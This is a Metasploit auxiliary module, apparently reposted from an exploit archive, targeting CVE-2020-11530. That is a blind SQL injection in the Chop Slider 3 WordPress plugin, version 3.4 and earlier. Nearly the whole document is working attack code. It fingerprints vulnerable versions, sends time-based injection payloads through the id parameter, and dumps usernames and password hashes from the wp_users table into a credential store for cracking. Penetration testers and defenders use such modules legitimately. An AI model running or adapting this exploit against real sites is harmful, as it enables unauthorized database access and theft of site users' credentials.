Exploit for WordPress ChopSlider3 Id SQL Injection Scanner CVE-2020-11530

## https://sploitus.com/exploit?id=PACKETSTORM:181155
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Auxiliary::Scanner  
include Msf::Exploit::SQLi  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'WordPress ChopSlider3 id SQLi Scanner',  
'Description' => %q{  
The iDangero.us Chop Slider 3 WordPress plugin version 3.4 and prior  
contains a blind SQL injection in the id parameter of the  
get_script/index.php page. The injection is passed through GET  
parameters, and thus must be encoded,  
and magic_quotes is applied at the server.  
},  
'Author' => [  
'h00die', # msf module  
'SunCSR', # edb module  
'Callum Murphy <callum.a.murphy.77@gmail.com>' # full disclosure  
],  
'License' => MSF_LICENSE,  
'References' => [  
['EDB', '48457'],  
['CVE', '2020-11530'],  
['URL', 'https://seclists.org/fulldisclosure/2020/May/26']  
],  
'Actions' => [  
['List Users', { 'Description' => 'Queries username, password hash for COUNT users' }],  
],  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [],  
'SideEffects' => [IOC_IN_LOGS]  
},  
'DefaultAction' => 'List Users',  
'DisclosureDate' => '2020-05-12'  
)  
)  
register_options [  
OptInt.new('COUNT', [false, 'Number of users to enumerate', 1]),  
]  
end  
  
def check  
res = send_request_raw({  
'method' => 'GET',  
'uri' => target_uri.path  
})  
fail_with Failure::Unreachable, 'Connection failed' unless res  
if res && res.body =~ /idangerous.chopslider-(\d\.\d).css-css/  
v = Rex::Version.new(Regexp.last_match(1))  
print_status "Version detected: #{v}"  
if v <= Rex::Version.new('3.4')  
return Msf::Exploit::CheckCode::Appears  
end  
end  
Msf::Exploit::CheckCode::Unknown  
end  
  
def run_host(ip)  
unless wordpress_and_online?  
vprint_error('Server not online or not detected as wordpress')  
return  
end  
  
# this didn't come with a readme file  
# checkcode = check_plugin_version_from_readme('chopslider', '3.4')  
  
if check == Msf::Exploit::CheckCode::Unknown  
vprint_error('ChopSlider3 version not vulnerable or undetected')  
return  
else  
print_good('Vulnerable version of ChopSlider3 detected')  
end  
  
sliderid = Rex::Text.rand_text_numeric(8..10)  
  
@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind) do |payload|  
if payload.include?("''")  
payload.gsub!("''", 'hex(0x00)')  
end  
  
payload = Rex::Text.uri_encode(payload)  
res = send_request_raw({  
'method' => 'GET',  
'uri' => "#{normalize_uri(target_uri.path, 'wp-content', 'plugins', 'chopslider', 'get_script', 'index.php')}?id=#{sliderid}%20OR%20#{rand(0..10)}<>#{rand(11..1000)}%20AND%20#{payload}"  
}, 20, true)  
fail_with Failure::Unreachable, 'Connection failed' unless res  
end  
  
unless @sqli.test_vulnerable  
print_bad("#{peer} - Testing of SQLi failed. If this is time based, try increasing SqliDelay.")  
return  
end  
columns = ['user_login', 'user_pass']  
  
print_status('Enumerating Usernames')  
un = @sqli.dump_table_fields('wp_users', [columns[0]], '', datastore['COUNT'])  
  
print_status('Enumerating Password Hashes')  
pass = @sqli.dump_table_fields('wp_users', [columns[1]], '', datastore['COUNT'])  
  
un = un.zip(pass)  
  
table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns)  
un.each do |user|  
create_credential({  
workspace_id: myworkspace_id,  
origin_type: :service,  
module_fullname: fullname,  
username: user[0],  
private_type: :nonreplayable_hash,  
jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]),  
private_data: user[1],  
service_name: 'Wordpress',  
address: ip,  
port: datastore['RPORT'],  
protocol: 'tcp',  
status: Metasploit::Model::Login::Status::UNTRIED  
})  
table << [user[0][0], user[1][0]]  
end  
print_good(table.to_s)  
end  
end